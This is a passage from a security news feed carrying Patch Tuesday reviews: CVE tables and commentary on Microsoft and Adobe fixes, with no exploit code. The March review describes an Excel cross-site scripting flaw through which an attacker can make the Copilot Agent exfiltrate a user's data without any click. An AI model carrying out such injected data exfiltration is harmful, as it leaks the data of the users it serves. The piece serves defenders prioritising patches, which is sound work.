  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45593"><span>CVE-2026-45593</span></a></td>
  <td width="256" class="xl68">Windows SDK Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42906"><span>CVE-2026-42906</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42907"><span>CVE-2026-42907</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47648"><span>CVE-2026-47648</span></a></td>
  <td width="256" class="xl68">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42915"><span>CVE-2026-42915</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42904"><span>CVE-2026-42904</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42968"><span>CVE-2026-42968</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42912"><span>CVE-2026-42912</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45597"><span>CVE-2026-45597</span></a></td>
  <td width="256" class="xl68">Windows UI Automation
  Manager (uiamanager.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45599"><span>CVE-2026-45599</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45635"><span>CVE-2026-45635</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40409"><span>CVE-2026-40409</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40404"><span>CVE-2026-40404</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42989"><span>CVE-2026-42989</span></a></td>
  <td width="256" class="xl68">Winlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That’s also the case for five others. Of course, there wouldn’t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There’s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.</p><p class="">Moving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it’s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.</p><p class="">There are more than 60 Elevation of Privilege (EoP) bugs in this month’s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server’s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows “elevated” privileges without really describing what elevated might be. </p><p class="">Moving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself — specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls. </p><p class="">Turning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It’s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.</p><p class="">There are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could “disclose information over a network.” How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.</p><p class="">I’ve never been a fan of the “tampering” category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn’t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.</p><p class="">There are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated "Exploitation More Likely," and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It’s usually a big release, so strap in and hang on. I’ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p><p class=""> </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The March 2026 Security Update Review]]></title>
<description><![CDATA[I am back in the friendly confines of the Mid-South headquarters of TrendAI ZDI (a.k.a. my home office), and am all set for the third patch Tuesday of 2026. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft.If you’d...]]></description>
<link>https://tsecurity.de/de/3694472/it-security-nachrichten/the-march-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694472/it-security-nachrichten/the-march-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I am back in the friendly confines of the Mid-South headquarters of TrendAI ZDI (a.k.a. my home office), and am all set for the third patch Tuesday of 2026. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft.If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for March 2026</strong></p><p class="">For March, Adobe released eight bulletins addressing 80 unique CVEs in Adobe Acrobat Reader, Commerce, Illustrator, Substance 3D Painter, Premier Pro, Experience Manager, Substance 3D Stager, and the Adobe DNG Software Development Kit (SDK). Two of these bugs were submitted through the TrendAI ZDI program. If you need to prioritize, the update for <a href="https://helpx.adobe.com/security/products/acrobat/apsb26-26.html">Acrobat</a> likely has the most impact, with the patch fixing two Critical-rated and one Important bugs. The fix for <a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-24.html">Experience Manager</a> is the largest this month with 33 CVEs addressed. However, these are simple cross-site scripting (XSS) bugs, so it’s not too exciting. The fix for <a href="https://helpx.adobe.com/security/products/magento/apsb26-05.html">Commerce</a> is also quite large with 19 CVEs. Most of these are also XSS bugs, but there’s a few security feature bypass bugs in there, too. Adobe actually gives this patch a deployment priority of 2, but it’s not under active attack at the time of release. </p><p class="">The fix for <a href="https://helpx.adobe.com/security/products/illustrator/apsb26-18.html">Illustrator</a> corrects seven bugs, including a few Critical-rated ones. The patch for <a href="https://helpx.adobe.com/security/products/substance3d_painter/apsb26-25.html">Substance 3D Painter</a> fixes nine different CVEs, all rated Important. That’s not the case for <a href="https://helpx.adobe.com/security/products/substance3d_stager/apsb26-29.html">Substance 3D Stager</a>, which fixes six different Critical bugs that could lead to arbitrary code execution. The patch for the <a href="https://helpx.adobe.com/security/products/dng-sdk/apsb26-30.html">Adobe DNG Software Development Kit</a> (SDK) addresses one Critical and one Important bug. Finally, the update for Premiere Pro correct a single, Critical-rated bug that could lead to arbitrary code execution. </p><p class="">None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and beyond the update for Commerce, all of the other updates released by Adobe this month are listed as deployment priority 3.</p><p class=""><strong>Microsoft Patches for March 2026</strong></p><p class="">This month, Microsoft released 84 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, SQL Server, Hyper-V Server, and the Windows Resilient File System (ReFS). Counting the third-party and Chromium updates listed in the release, it brings to total number of CVEs to 94. Five of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, and the rest are rated Important in severity.</p><p class="">This volume is relatively typical for a March release, and the lack of bugs under active attack is a nice change from last month. There are two vulnerabilities listed as publicly known at the time of release, but none listed as actively exploited.</p><p class="">Let’s take a closer look at some of the more interesting updates for this month, starting with a bug with an AI slant:</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26144"><strong>CVE-2026-26144</strong></a><strong> - Microsoft Excel Information Disclosure Vulnerability<br></strong>This is a fascinating bug and an attack scenario we’re likely to see more often. The vulnerability is a simple cross-site scripting (XSS) bug in Excel, but an attacker could use it to cause the Copilot Agent to exfiltrate data off the target. This essentially makes it a zero-click information disclosure. Although not stated, the disclosure is likely at the level of the logged-on user, so there isn’t a privilege escalation component. Info disclosures rarely get rated Critical, but it makes sense here.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26110"><strong>CVE-2026-26110</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26113"><strong>CVE-2026-26113</strong></a><strong> - Microsoft Office Remote Code Execution Vulnerability <br></strong>Another month and another pair of Office bugs where the Preview Pane is an exploit vector. I’ve lost count of how many of these bugs have been patched over the last year, but it’s just a matter of time until they start appearing in active exploits. The latest versions of Outlook allow you to hide the Preview Pane, but it isn’t clear if this would mitigate these attacks. The best option is still to test and deploy the update, but considering how many of these patches exist, it’s likely further updates will be needed to fully address these issues.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23669"><strong>CVE-2026-23669</strong></a><strong> - Windows Print Spooler Remote Code Execution Vulnerability<br></strong>Just reading the title makes me twitch with remembrances of <a href="https://en.wikipedia.org/wiki/PrintNightmare">Print Nightmare</a> from a few years ago. This bug works in the same manner as those exploits. An authenticated attacker sends specially crafted messages to an affected system to gain arbitrary code execution. No user interaction is required. Let’s hope we don’t end up in a new nightmare of spooler exploits. Test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23668"><strong>CVE-2026-23668</strong></a><strong> - Windows Graphics Component Elevation of Privilege Vulnerability<br></strong>This vulnerability was submitted to the ZDI program by Marcin Wiązowski as two separate bugs, and it demonstrates the need for variant investigations when creating security patches. Both cases are caused by the lack of proper locking when performing operations on an object. However, in one case, it’s in the cdd.dll driver while the other is in the win32kfull driver. Either way, an attacker could use these to elevate privileges to SYSTEM and execute arbitrary code. Since the fix for both is to add object locking to the GDI object, the cases are combined into a single CVE. That’s not a problem, but it does show how variants can occur, and fixes should be as broad as possible.</p><p class="">Here’s the full list of CVEs released by Microsoft for March 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026_PatchTable-March.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="953">
 <col width="151" class="xl65">
 <col width="263" class="xl66">
 <col width="111" class="xl67" span="4">
 <col width="95" class="xl67">
 <col width="645" class="xl65">
 <tr height="47">
  <td width="151" class="xl65" height="47"><span> </span>CVE<span> </span></td>
  <td width="263" class="xl66"><span> </span>Title<span> </span></td>
  <td width="111" class="xl67"><span> </span>Severity<span> </span></td>
  <td width="111" class="xl67"><span> </span>CVSS<span> </span></td>
  <td width="111" class="xl67"><span> </span>Public</td>
  <td width="111" class="xl67"><span> </span>Exploited<span> </span></td>
  <td width="95" class="xl67"><span> </span>Type<span> </span></td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26127"><span><span> </span>CVE-2026-26127<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>.NET Denial of Service Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl68"><span> </span>Yes<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21262"><span><span> </span>CVE-2026-21262<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl68"><span> </span>Yes<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23651"><span><span> </span>CVE-2026-23651<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26124"><span><span> </span>CVE-2026-26124<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26122"><span><span> </span>CVE-2026-26122<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Information Disclosure Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21536"><span><span> </span>CVE-2026-21536<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Devices Pricing Program Remote
  Code Execution Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">9.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26144"><span><span> </span>CVE-2026-26144<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26110"><span><span> </span>CVE-2026-26110<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26113"><span><span> </span>CVE-2026-26113<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26125"><span><span> </span>CVE-2026-26125<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Payment Orchestrator Service Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.6</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26131"><span><span> </span>CVE-2026-26131<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>.NET Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25177"><span><span> </span>CVE-2026-25177<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Active Directory Domain Services Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26117"><span><span> </span>CVE-2026-26117<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Arc Enabled Servers - Azure Connected
  Machine Agent Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26130"><span><span> </span>CVE-2026-26130<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>ASP.NET Core Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23661"><span><span> </span>CVE-2026-23661<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23662"><span><span> </span>CVE-2026-23662<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23664"><span><span> </span>CVE-2026-23664<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26121"><span><span> </span>CVE-2026-26121<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IOT Explorer Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26118"><span><span> </span>CVE-2026-26118<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure MCP Server Tools Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23667"><span><span> </span>CVE-2026-23667<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Broadcast DVR Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25190"><span><span> </span>CVE-2026-25190<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>GDI Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25181"><span><span> </span>CVE-2026-25181<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>GDI+ Information Disclosure
